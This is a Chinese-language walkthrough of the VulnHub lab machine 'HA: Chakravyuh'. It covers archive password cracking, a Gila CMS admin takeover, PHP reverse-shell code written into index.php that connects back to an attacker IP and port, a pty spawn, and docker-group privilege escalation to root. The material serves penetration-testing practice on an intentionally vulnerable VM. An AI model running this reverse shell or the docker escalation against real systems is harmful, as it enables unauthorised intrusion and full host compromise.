VulnHub靶场学习_HA: Chakravyuh

HA: Chakravyuh

Vulnhub靶场

下载地址://www.vulnhub.com/entry/ha-chakravyuh,388/

背景:

Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.

 

ENUMERATION IS THE KEY!!!!!

端口扫描

发现ftp中存在arjun.7z

 

扫描路径

MySQL数据库

收集到这些信息后,猜测Getshell的流程是,通过压缩包知道数据库账号密码,数据库拿shell。

所以,先爆破arjun.7z的密码

Fcrackzip这款软件前面的靶机用过,挺好的,但不支持7z

Rarcrack这款软件可以爆破7z,但不能跑字典,遍历太久不现实。

rarcrack arjun.7z –threads 10 –type 7z

 

最后,我用的是PasswareKit,速度还是挺快的,支持GPU加速,

利用软件本身携带的字典将其破解,压缩包内的txt文本文件。

 

密码是family。

 

Base64解密:

gila:[email protected]:princesa

不是数据库的密码。

 

看看是不是目录,前面的gila

//192.168.139.140/gila/

//192.168.139.140/gila/admin

在Themes处有模板选择,点击文件图标能编辑模板文件。

 

这里能够上传任意文件,上传了个马。

 

这个马无法解析,因为shell.ph被URL重写,将所有的指向index.php处理。

 

这里能够获取到数据库的账号密码。

 

进入数据库。

 

这里写入路径做了限制,不能直接写入shell,不过可以利用慢日志来获取shell。

同时该cms默认存在phpinfo。一般就是默认的/var/www/html/

 

但,这里不通过数据库Getshell

通过在index.php中写入反弹shell的代码Getshell

 

$sock=fsockopen(“192.168.139.1”,3418);exec(“/bin/sh -i <&3 >&3 2>&3”);

在PHP中执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了。

当系统没有禁用proc_popen的情况下,利用下面代码反弹shell。

$sock = fsockopen(‘192.168.139.1’,3418);

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open(‘/bin/sh’, $descriptorspec, $pipes);

proc_close($process);

 

成功反弹shell。

python -c “import pty;pty.spawn(‘/bin/bash’);”

获取交互式shell

查找提权的点

查找777权限文件

查找suid的文件

 

在查看id时,发现该用户处于docker组。

可以利用docker提权,大概过程就是建立一个容器,将本机的文件加载其中。

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

详细情况可百度 docker提权。

Cat /root/final.txt